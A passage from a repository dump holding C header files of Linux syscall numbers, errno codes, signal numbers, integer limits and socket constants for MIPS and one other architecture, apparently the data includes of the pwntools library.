SYS_sched_getattr 275\n#define SYS_sched_getparam 121\n#define SYS_sched_get_priority_max 125\n#define SYS_sched_get_priority_min 126\n#define SYS_sched_getscheduler 120\n#define SYS_sched_rr_get_interval 127\n#define SYS_sched_setaffinity 122\n#define SYS_sched_setattr 274\n#define SYS_sched_setparam 118\n#define SYS_sched_setscheduler 119\n#define SYS_sched_yield 124\n#define SYS_seccomp 277\n#define SYS_semctl 191\n#define SYS_semget 190\n#define SYS_semop 193\n#define SYS_semtimedop 192\n#define SYS_sendfile 71\n#define SYS_sendmmsg 269\n#define SYS_sendmsg 211\n#define SYS_sendto 206\n#define SYS_setdomainname 162\n#define SYS_setfsgid 152\n#define SYS_setfsuid 151\n#define SYS_setgid 144\n#define SYS_setgroups 159\n#define SYS_sethostname 161\n#define SYS_setitimer 103\n#define SYS_set_mempolicy 237\n#define SYS_set_mempolicy_home_node 450\n#define SYS_setns 268\n#define SYS_setpgid 154\n#define SYS_setpriority 140\n#define SYS_setregid 143\n#define SYS_setresgid 149\n#define SYS_setresuid 147\n#define SYS_setreuid 145\n#define SYS_set_robust_list 99\n#define SYS_setsid 157\n#define SYS_setsockopt 208\n#define SYS_set_tid_address 96\n#define SYS_settimeofday 170\n#define SYS_setuid 146\n#define SYS_setxattr 5\n#define SYS_shmat 196\n#define SYS_shmctl 195\n#define SYS_shmdt 197\n#define SYS_shmget 194\n#define SYS_shutdown 210\n#define SYS_sigaltstack 132\n#define SYS_signalfd4 74\n#define SYS_socket 198\n#define SYS_socketpair 199\n#define SYS_splice 76\n#define SYS_statfs 43\n#define SYS_statx 291\n#define SYS_swapoff 225\n#define SYS_swapon 224\n#define SYS_symlinkat 36\n#define SYS_sync 81\n#define SYS_sync_file_range 84\n#define SYS_syncfs 267\n#define SYS_sysinfo 179\n#define SYS_syslog 116\n#define SYS_tee 77\n#define SYS_tgkill 131\n#define SYS_timer_create 107\n#define SYS_timer_delete 111\n#define SYS_timerfd_create 85\n#define SYS_timerfd_gettime 87\n#define SYS_timerfd_settime 86\n#define SYS_timer_getoverrun 109\n#define SYS_timer_gettime 108\n#define SYS_timer_settime 110\n#define SYS_times 153\n#define SYS_tkill 130\n#define SYS_truncate 45\n#define SYS_umask 166\n#define SYS_umount2 39\n#define SYS_uname 160\n#define SYS_unlinkat 35\n#define SYS_unshare 97\n#define SYS_userfaultfd 282\n#define SYS_utimensat 88\n#define SYS_vhangup 58\n#define SYS_vmsplice 75\n#define SYS_wait4 260\n#define SYS_waitid 95\n#define SYS_write 64\n#define SYS_writev 66\n"
  },
  {
    "path": "pwnlib/data/includes/linux/mips.h",
    "content": "#define __NR_Linux 4000\n#define __NR_syscall (4000 +\t0)\n#define __NR_exit (4000 +\t1)\n#define __NR_fork (4000 +\t2)\n#define __NR_read (4000 +\t3)\n#define __NR_write (4000 +\t4)\n#define __NR_open (4000 +\t5)\n#define __NR_close (4000 +\t6)\n#define __NR_waitpid (4000 +\t7)\n#define __NR_creat (4000 +\t8)\n#define __NR_link (4000 +\t9)\n#define __NR_unlink (4000 +  10)\n#define __NR_execve (4000 +  11)\n#define __NR_chdir (4000 +  12)\n#define __NR_time (4000 +  13)\n#define __NR_mknod (4000 +  14)\n#define __NR_chmod (4000 +  15)\n#define __NR_lchown (4000 +  16)\n#define __NR_break (4000 +  17)\n#define __NR_unused18 (4000 +  18)\n#define __NR_lseek (4000 +  19)\n#define __NR_getpid (4000 +  20)\n#define __NR_mount (4000 +  21)\n#define __NR_umount (4000 +  22)\n#define __NR_setuid (4000 +  23)\n#define __NR_getuid (4000 +  24)\n#define __NR_stime (4000 +  25)\n#define __NR_ptrace (4000 +  26)\n#define __NR_alarm (4000 +  27)\n#define __NR_unused28 (4000 +  28)\n#define __NR_pause (4000 +  29)\n#define __NR_utime (4000 +  30)\n#define __NR_stty (4000 +  31)\n#define __NR_gtty (4000 +  32)\n#define __NR_access (4000 +  33)\n#define __NR_nice (4000 +  34)\n#define __NR_ftime (4000 +  35)\n#define __NR_sync (4000 +  36)\n#define __NR_kill (4000 +  37)\n#define __NR_rename (4000 +  38)\n#define __NR_mkdir (4000 +  39)\n#define __NR_rmdir (4000 +  40)\n#define __NR_dup (4000 +  41)\n#define __NR_pipe (4000 +  42)\n#define __NR_times (4000 +  43)\n#define __NR_prof (4000 +  44)\n#define __NR_brk (4000 +  45)\n#define __NR_setgid (4000 +  46)\n#define __NR_getgid (4000 +  47)\n#define __NR_signal (4000 +  48)\n#define __NR_geteuid (4000 +  49)\n#define __NR_getegid (4000 +  50)\n#define __NR_acct (4000 +  51)\n#define __NR_umount2 (4000 +  52)\n#define __NR_lock (4000 +  53)\n#define __NR_ioctl (4000 +  54)\n#define __NR_fcntl (4000 +  55)\n#define __NR_mpx (4000 +  56)\n#define __NR_setpgid (4000 +  57)\n#define __NR_ulimit (4000 +  58)\n#define __NR_unused59 (4000 +  59)\n#define __NR_umask (4000 +  60)\n#define __NR_chroot (4000 +  61)\n#define __NR_ustat (4000 +  62)\n#define __NR_dup2 (4000 +  63)\n#define __NR_getppid (4000 +  64)\n#define __NR_getpgrp (4000 +  65)\n#define __NR_setsid (4000 +  66)\n#define __NR_sigaction (4000 +  67)\n#define __NR_sgetmask (4000 +  68)\n#define __NR_ssetmask (4000 +  69)\n#define __NR_setreuid (4000 +  70)\n#define __NR_setregid (4000 +  71)\n#define __NR_sigsuspend (4000 +  72)\n#define __NR_sigpending (4000 +  73)\n#define __NR_sethostname (4000 +  74)\n#define __NR_setrlimit (4000 +  75)\n#define __NR_getrlimit (4000 +  76)\n#define __NR_getrusage (4000 +  77)\n#define __NR_gettimeofday (4000 +  78)\n#define __NR_settimeofday (4000 +  79)\n#define __NR_getgroups (4000 +  80)\n#define __NR_setgroups (4000 +  81)\n#define __NR_reserved82 (4000 +  82)\n#define __NR_symlink (4000 +  83)\n#define __NR_unused84 (4000 +  84)\n#define __NR_readlink (4000 +  85)\n#define __NR_uselib (4000 +  86)\n#define __NR_swapon (4000 +  87)\n#define __NR_reboot (4000 +  88)\n#define __NR_readdir (4000 +  89)\n#define __NR_mmap (4000 +  90)\n#define __NR_munmap (4000 +  91)\n#define __NR_truncate (4000 +  92)\n#define __NR_ftruncate (4000 +  93)\n#define __NR_fchmod (4000 +  94)\n#define __NR_fchown (4000 +  95)\n#define __NR_getpriority (4000 +  96)\n#define __NR_setpriority (4000 +  97)\n#define __NR_profil (4000 +  98)\n#define __NR_statfs (4000 +  99)\n#define __NR_fstatfs (4000 + 100)\n#define __NR_ioperm (4000 + 101)\n#define __NR_socketcall (4000 + 102)\n#define __NR_syslog (4000 + 103)\n#define __NR_setitimer (4000 + 104)\n#define __NR_getitimer (4000 + 105)\n#define __NR_stat (4000 + 106)\n#define __NR_lstat (4000 + 107)\n#define __NR_fstat (4000 + 108)\n#define __NR_unused109 (4000 + 109)\n#define __NR_iopl (4000 + 110)\n#define __NR_vhangup (4000 + 111)\n#define __NR_idle (4000 + 112)\n#define __NR_vm86 (4000 + 113)\n#define __NR_wait4 (4000 + 114)\n#define __NR_swapoff (4000 + 115)\n#define __NR_sysinfo (4000 + 116)\n#define __NR_ipc (4000 + 117)\n#define __NR_fsync (4000 + 118)\n#define __NR_sigreturn (4000 + 119)\n#define __NR_clone (4000 + 120)\n#define __NR_setdomainname (4000 + 121)\n#define __NR_uname (4000 + 122)\n#define __NR_modify_ldt (4000 + 123)\n#define __NR_adjtimex (4000 + 124)\n#define __NR_mprotect (4000 + 125)\n#define __NR_sigprocmask (4000 + 126)\n#define __NR_create_module (4000 + 127)\n#define __NR_init_module (4000 + 128)\n#define __NR_delete_module (4000 + 129)\n#define __NR_get_kernel_syms (4000 + 130)\n#define __NR_quotactl (4000 + 131)\n#define __NR_getpgid (4000 + 132)\n#define __NR_fchdir (4000 + 133)\n#define __NR_bdflush (4000 + 134)\n#define __NR_sysfs (4000 + 135)\n#define __NR_personality (4000 + 136)\n#define __NR_afs_syscall (4000 + 137)\n#define __NR_setfsuid (4000 + 138)\n#define __NR_setfsgid (4000 + 139)\n#define __NR__llseek (4000 + 140)\n#define __NR_getdents (4000 + 141)\n#define __NR__newselect (4000 + 142)\n#define __NR_flock (4000 + 143)\n#define __NR_msync (4000 + 144)\n#define __NR_readv (4000 + 145)\n#define __NR_writev (4000 + 146)\n#define __NR_cacheflush (4000 + 147)\n#define __NR_cachectl (4000 + 148)\n#define __NR_sysmips (4000 + 149)\n#define __NR_unused150 (4000 + 150)\n#define __NR_getsid (4000 + 151)\n#define __NR_fdatasync (4000 + 152)\n#define __NR__sysctl (4000 + 153)\n#define __NR_mlock (4000 + 154)\n#define __NR_munlock (4000 + 155)\n#define __NR_mlockall (4000 + 156)\n#define __NR_munlockall (4000 + 157)\n#define __NR_sched_setparam (4000 + 158)\n#define __NR_sched_getparam (4000 + 159)\n#define __NR_sched_setscheduler (4000 + 160)\n#define __NR_sched_getscheduler (4000 + 161)\n#define __NR_sched_yield (4000 + 162)\n#define __NR_sched_get_priority_max (4000 + 163)\n#define __NR_sched_get_priority_min (4000 + 164)\n#define __NR_sched_rr_get_interval (4000 + 165)\n#define __NR_nanosleep (4000 + 166)\n#define __NR_mremap (4000 + 167)\n#define __NR_accept (4000 + 168)\n#define __NR_bind (4000 + 169)\n#define __NR_connect (4000 + 170)\n#define __NR_getpeername (4000 + 171)\n#define __NR_getsockname (4000 + 172)\n#define __NR_getsockopt (4000 + 173)\n#define __NR_listen (4000 + 174)\n#define __NR_recv (4000 + 175)\n#define __NR_recvfrom (4000 + 176)\n#define __NR_recvmsg (4000 + 177)\n#define __NR_send (4000 + 178)\n#define __NR_sendmsg (4000 + 179)\n#define __NR_sendto (4000 + 180)\n#define __NR_setsockopt (4000 + 181)\n#define __NR_shutdown (4000 + 182)\n#define __NR_socket (4000 + 183)\n#define __NR_socketpair (4000 + 184)\n#define __NR_setresuid (4000 + 185)\n#define __NR_getresuid (4000 + 186)\n#define __NR_query_module (4000 + 187)\n#define __NR_poll (4000 + 188)\n#define __NR_nfsservctl (4000 + 189)\n#define __NR_setresgid (4000 + 190)\n#define __NR_getresgid (4000 + 191)\n#define __NR_prctl (4000 + 192)\n#define __NR_rt_sigreturn (4000 + 193)\n#define __NR_rt_sigaction (4000 + 194)\n#define __NR_rt_sigprocmask (4000 + 195)\n#define __NR_rt_sigpending (4000 + 196)\n#define __NR_rt_sigtimedwait (4000 + 197)\n#define __NR_rt_sigqueueinfo (4000 + 198)\n#define __NR_rt_sigsuspend (4000 + 199)\n#define __NR_pread64 (4000 + 200)\n#define __NR_pwrite64 (4000 + 201)\n#define __NR_chown (4000 + 202)\n#define __NR_getcwd (4000 + 203)\n#define __NR_capget (4000 + 204)\n#define __NR_capset (4000 + 205)\n#define __NR_sigaltstack (4000 + 206)\n#define __NR_sendfile (4000 + 207)\n#define __NR_getpmsg (4000 + 208)\n#define __NR_putpmsg (4000 + 209)\n#define __NR_mmap2 (4000 + 210)\n#define __NR_truncate64 (4000 + 211)\n#define __NR_ftruncate64 (4000 + 212)\n#define __NR_stat64 (4000 + 213)\n#define __NR_lstat64 (4000 + 214)\n#define __NR_fstat64 (4000 + 215)\n#define __NR_pivot_root (4000 + 216)\n#define __NR_mincore (4000 + 217)\n#define __NR_madvise (4000 + 218)\n#define __NR_getdents64 (4000 + 219)\n#define __NR_fcntl64 (4000 + 220)\n#define __NR_reserved221 (4000 + 221)\n#define __NR_gettid (4000 + 222)\n#define __NR_readahead (4000 + 223)\n#define __NR_setxattr (4000 + 224)\n#define __NR_lsetxattr (4000 + 225)\n#define __NR_fsetxattr (4000 + 226)\n#define __NR_getxattr (4000 + 227)\n#define __NR_lgetxattr (4000 + 228)\n#define __NR_fgetxattr (4000 + 229)\n#define __NR_listxattr (4000 + 230)\n#define __NR_llistxattr (4000 + 231)\n#define __NR_flistxattr (4000 + 232)\n#define __NR_removexattr (4000 + 233)\n#define __NR_lremovexattr (4000 + 234)\n#define __NR_fremovexattr (4000 + 235)\n#define __NR_tkill (4000 + 236)\n#define __NR_sendfile64 (4000 + 237)\n#define __NR_futex (4000 + 238)\n#define __NR_sched_setaffinity (4000 + 239)\n#define __NR_sched_getaffinity (4000 + 240)\n#define __NR_io_setup (4000 + 241)\n#define __NR_io_destroy (4000 + 242)\n#define __NR_io_getevents (4000 + 243)\n#define __NR_io_submit (4000 + 244)\n#define __NR_io_cancel (4000 + 245)\n#define __NR_exit_group (4000 + 246)\n#define __NR_lookup_dcookie (4000 + 247)\n#define __NR_epoll_create (4000 + 248)\n#define __NR_epoll_ctl (4000 + 249)\n#define __NR_epoll_wait (4000 + 250)\n#define __NR_remap_file_pages (4000 + 251)\n#define __NR_set_tid_address (4000 + 252)\n#define __NR_restart_syscall (4000 + 253)\n#define __NR_fadvise64 (4000 + 254)\n#define __NR_statfs64 (4000 + 255)\n#define __NR_fstatfs64 (4000 + 256)\n#define __NR_timer_create (4000 + 257)\n#define __NR_timer_settime (4000 + 258)\n#define __NR_timer_gettime (4000 + 259)\n#define __NR_timer_getoverrun (4000 + 260)\n#define __NR_timer_delete (4000 + 261)\n#define __NR_clock_settime (4000 + 262)\n#define __NR_clock_gettime (4000 + 263)\n#define __NR_clock_getres (4000 + 264)\n#define __NR_clock_nanosleep (4000 + 265)\n#define __NR_tgkill (4000 + 266)\n#define __NR_utimes (4000 + 267)\n#define __NR_mbind (4000 + 268)\n#define __NR_get_mempolicy (4000 + 269)\n#define __NR_set_mempolicy (4000 + 270)\n#define __NR_mq_open (4000 + 271)\n#define __NR_mq_unlink (4000 + 272)\n#define __NR_mq_timedsend (4000 + 273)\n#define __NR_mq_timedreceive (4000 + 274)\n#define __NR_mq_notify (4000 + 275)\n#define __NR_mq_getsetattr (4000 + 276)\n#define __NR_vserver (4000 + 277)\n#define __NR_waitid (4000 + 278)\n#define __NR_add_key (4000 + 280)\n#define __NR_request_key (4000 + 281)\n#define __NR_keyctl (4000 + 282)\n#define __NR_set_thread_area (4000 + 283)\n#define __NR_inotify_init (4000 + 284)\n#define __NR_inotify_add_watch (4000 + 285)\n#define __NR_inotify_rm_watch (4000 + 286)\n#define __NR_migrate_pages (4000 + 287)\n#define __NR_openat (4000 + 288)\n#define __NR_mkdirat (4000 + 289)\n#define __NR_mknodat (4000 + 290)\n#define __NR_fchownat (4000 + 291)\n#define __NR_futimesat (4000 + 292)\n#define __NR_fstatat64 (4000 + 293)\n#define __NR_unlinkat (4000 + 294)\n#define __NR_renameat (4000 + 295)\n#define __NR_linkat (4000 + 296)\n#define __NR_symlinkat (4000 + 297)\n#define __NR_readlinkat (4000 + 298)\n#define __NR_fchmodat (4000 + 299)\n#define __NR_faccessat (4000 + 300)\n#define __NR_pselect6 (4000 + 301)\n#define __NR_ppoll (4000 + 302)\n#define __NR_unshare (4000 + 303)\n#define __NR_splice (4000 + 304)\n#define __NR_sync_file_range (4000 + 305)\n#define __NR_tee (4000 + 306)\n#define __NR_vmsplice (4000 + 307)\n#define __NR_move_pages (4000 + 308)\n#define __NR_set_robust_list (4000 + 309)\n#define __NR_get_robust_list (4000 + 310)\n#define __NR_kexec_load (4000 + 311)\n#define __NR_getcpu (4000 + 312)\n#define __NR_epoll_pwait (4000 + 313)\n#define __NR_ioprio_set (4000 + 314)\n#define __NR_ioprio_get (4000 + 315)\n#define __NR_utimensat (4000 + 316)\n#define __NR_signalfd (4000 + 317)\n#define __NR_timerfd (4000 + 318)\n#define __NR_eventfd (4000 + 319)\n#define __NR_fallocate (4000 + 320)\n#define __NR_timerfd_create (4000 + 321)\n#define __NR_timerfd_gettime (4000 + 322)\n#define __NR_timerfd_settime (4000 + 323)\n#define __NR_signalfd4 (4000 + 324)\n#define __NR_eventfd2 (4000 + 325)\n#define __NR_epoll_create1 (4000 + 326)\n#define __NR_dup3 (4000 + 327)\n#define __NR_pipe2 (4000 + 328)\n#define __NR_inotify_init1 (4000 + 329)\n#define __NR_preadv (4000 + 330)\n#define __NR_pwritev (4000 + 331)\n#define __NR_rt_tgsigqueueinfo (4000 + 332)\n#define __NR_perf_event_open (4000 + 333)\n#define __NR_accept4 (4000 + 334)\n#define __NR_recvmmsg (4000 + 335)\n#define __NR_fanotify_init (4000 + 336)\n#define __NR_fanotify_mark (4000 + 337)\n#define __NR_prlimit64 (4000 + 338)\n#define __NR_name_to_handle_at (4000 + 339)\n#define __NR_open_by_handle_at (4000 + 340)\n#define __NR_clock_adjtime (4000 + 341)\n#define __NR_syncfs (4000 + 342)\n#define __NR_sendmmsg (4000 + 343)\n#define __NR_setns (4000 + 344)\n#define __NR_process_vm_readv (4000 + 345)\n#define __NR_process_vm_writev (4000 + 346)\n#define __NR_kcmp (4000 + 347)\n#define __NR_finit_module (4000 + 348)\n#define __NR_sched_setattr (4000 + 349)\n#define __NR_sched_getattr (4000 + 350)\n#define __NR_renameat2 (4000 + 351)\n#define __NR_seccomp (4000 + 352)\n#define __NR_getrandom (4000 + 353)\n#define __NR_memfd_create (4000 + 354)\n#define __NR_bpf (4000 + 355)\n#define __NR_execveat (4000 + 356)\n#define __NR_userfaultfd (4000 + 357)\n#define __NR_membarrier (4000 + 358)\n#define __NR_mlock2 (4000 + 359)\n#define __NR_copy_file_range (4000 + 360)\n#define __NR_preadv2 (4000 + 361)\n#define __NR_pwritev2 (4000 + 362)\n#define __NR_pkey_mprotect (4000 + 363)\n#define __NR_pkey_alloc (4000 + 364)\n#define __NR_pkey_free (4000 + 365)\n#define __NR_statx (4000 + 366)\n#define __NR_rseq (4000 + 367)\n#define __NR_io_pgetevents (4000 + 368)\n#define __NR_semget (4000 + 393)\n#define __NR_semctl (4000 + 394)\n#define __NR_shmget (4000 + 395)\n#define __NR_shmctl (4000 + 396)\n#define __NR_shmat (4000 + 397)\n#define __NR_shmdt (4000 + 398)\n#define __NR_msgget (4000 + 399)\n#define __NR_msgsnd (4000 + 400)\n#define __NR_msgrcv (4000 + 401)\n#define __NR_msgctl (4000 + 402)\n#define __NR_clock_gettime64 (4000 + 403)\n#define __NR_clock_settime64 (4000 + 404)\n#define __NR_clock_adjtime64 (4000 + 405)\n#define __NR_clock_getres_time64 (4000 + 406)\n#define __NR_clock_nanosleep_time64 (4000 + 407)\n#define __NR_timer_gettime64 (4000 + 408)\n#define __NR_timer_settime64 (4000 + 409)\n#define __NR_timerfd_gettime64 (4000 + 410)\n#define __NR_timerfd_settime64 (4000 + 411)\n#define __NR_utimensat_time64 (4000 + 412)\n#define __NR_pselect6_time64 (4000 + 413)\n#define __NR_ppoll_time64 (4000 + 414)\n#define __NR_io_pgetevents_time64 (4000 + 416)\n#define __NR_recvmmsg_time64 (4000 + 417)\n#define __NR_mq_timedsend_time64 (4000 + 418)\n#define __NR_mq_timedreceive_time64 (4000 + 419)\n#define __NR_semtimedop_time64 (4000 + 420)\n#define __NR_rt_sigtimedwait_time64 (4000 + 421)\n#define __NR_futex_time64 (4000 + 422)\n#define __NR_sched_rr_get_interval_time64 (4000 + 423)\n#define __NR_pidfd_send_signal (4000 + 424)\n#define __NR_io_uring_setup (4000 + 425)\n#define __NR_io_uring_enter (4000 + 426)\n#define __NR_io_uring_register (4000 + 427)\n#define __NR_open_tree (4000 + 428)\n#define __NR_move_mount (4000 + 429)\n#define __NR_fsopen (4000 + 430)\n#define __NR_fsconfig (4000 + 431)\n#define __NR_fsmount (4000 + 432)\n#define __NR_fspick (4000 + 433)\n#define __NR_pidfd_open (4000 + 434)\n#define __NR_clone3 (4000 + 435)\n#define __NR_openat2 (4000 + 437)\n#define __NR_pidfd_getfd (4000 + 438)\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define ENOMSG 35\n#define EIDRM 36\n#define ECHRNG 37\n#define EL2NSYNC 38\n#define EL3HLT 39\n#define EL3RST 40\n#define ELNRNG 41\n#define EUNATCH 42\n#define ENOCSI 43\n#define EL2HLT 44\n#define EDEADLK 45\n#define ENOLCK 46\n#define EBADE 50\n#define EBADR 51\n#define EXFULL 52\n#define ENOANO 53\n#define EBADRQC 54\n#define EBADSLT 55\n#define EDEADLOCK 56\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EDOTDOT 73\n#define EMULTIHOP 74\n#define EBADMSG 77\n#define ENAMETOOLONG 78\n#define EOVERFLOW 79\n#define ENOTUNIQ 80\n#define EBADFD 81\n#define EREMCHG 82\n#define ELIBACC 83\n#define ELIBBAD 84\n#define ELIBSCN 85\n#define ELIBMAX 86\n#define ELIBEXEC 87\n#define EILSEQ 88\n#define ENOSYS 89\n#define ELOOP 90\n#define ERESTART 91\n#define ESTRPIPE 92\n#define ENOTEMPTY 93\n#define EUSERS 94\n#define ENOTSOCK 95\n#define EDESTADDRREQ 96\n#define EMSGSIZE 97\n#define EPROTOTYPE 98\n#define ENOPROTOOPT 99\n#define EPROTONOSUPPORT 120\n#define ESOCKTNOSUPPORT 121\n#define EOPNOTSUPP 122\n#define ENOTSUP 122\n#define EPFNOSUPPORT 123\n#define EAFNOSUPPORT 124\n#define EADDRINUSE 125\n#define EADDRNOTAVAIL 126\n#define ENETDOWN 127\n#define ENETUNREACH 128\n#define ENETRESET 129\n#define ECONNABORTED 130\n#define ECONNRESET 131\n#define ENOBUFS 132\n#define EISCONN 133\n#define ENOTCONN 134\n#define EUCLEAN 135\n#define ENOTNAM 137\n#define ENAVAIL 138\n#define EISNAM 139\n#define EREMOTEIO 140\n#define EINIT 141\n#define EREMDEV 142\n#define ESHUTDOWN 143\n#define ETOOMANYREFS 144\n#define ETIMEDOUT 145\n#define ECONNREFUSED 146\n#define EHOSTDOWN 147\n#define EHOSTUNREACH 148\n#define EWOULDBLOCK 11\n#define EALREADY 149\n#define EINPROGRESS 150\n#define ESTALE 151\n#define ECANCELED 158\n#define ENOMEDIUM 159\n#define EMEDIUMTYPE 160\n#define ENOKEY 161\n#define EKEYEXPIRED 162\n#define EKEYREVOKED 163\n#define EKEYREJECTED 164\n#define EOWNERDEAD 165\n#define ENOTRECOVERABLE 166\n#define ERFKILL 167\n#define EHWPOISON 168\n#define EDQUOT 1133\n#define __SYS_NERR ((168) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 64\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (9223372036854775807))\n#define INTPTR_MAX (9223372036854775807)\n#define UINTPTR_MAX 0xffffffffffffffff\n#define SIZE_MAX 0xffffffffffffffff\n#define PTRDIFF_MIN (-1 - (9223372036854775807))\n#define PTRDIFF_MAX (9223372036854775807)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (9223372036854775807))\n#define INT_FAST16_MAX (9223372036854775807)\n#define UINT_FAST16_MAX 0xffffffffffffffff\n#define INT_FAST32_MIN (-1 - (9223372036854775807))\n#define INT_FAST32_MAX (9223372036854775807)\n#define UINT_FAST32_MAX 0xffffffffffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 128\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGEMT 7\n#define SIGBUS 10\n#define SIGSYS 12\n#define SIGUSR1 16\n#define SIGUSR2 17\n#define SIGCHLD 18\n#define SIGPWR 19\n#define SIGWINCH 20\n#define SIGURG 21\n#define SIGIO 22\n#define SIGSTOP 23\n#define SIGTSTP 24\n#define SIGCONT 25\n#define SIGTTIN 26\n#define SIGTTOU 27\n#define SIGVTALRM 28\n#define SIGPROF 29\n#define SIGXCPU 30\n#define SIGXFSZ 31\n#define SIGCLD 18\n#define SIGPOLL 22\n#define SIGLOST 19\n#define SIGRTMIN 32\n#define SIGRTMAX (128-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_SIGINFO 0x00000008\n#define SA_NOCLDWAIT 0x00010000\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 1\n#define SIG_UNBLOCK 2\n#define SIG_SETMASK 3\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 0xffff\n#define SO_DEBUG 0x0001\n#define SO_REUSEADDR 0x0004\n#define SO_KEEPALIVE 0x0008\n#define SO_DONTROUTE 0x0010\n#define SO_BROADCAST 0x0020\n#define SO_LINGER 0x0080\n#define SO_OOBINLINE 0x0100\n#define SO_REUSEPORT 0x0200\n#define SO_TYPE 0x1008\n#define SO_ERROR 0x1007\n#define SO_SNDBUF 0x1001\n#define 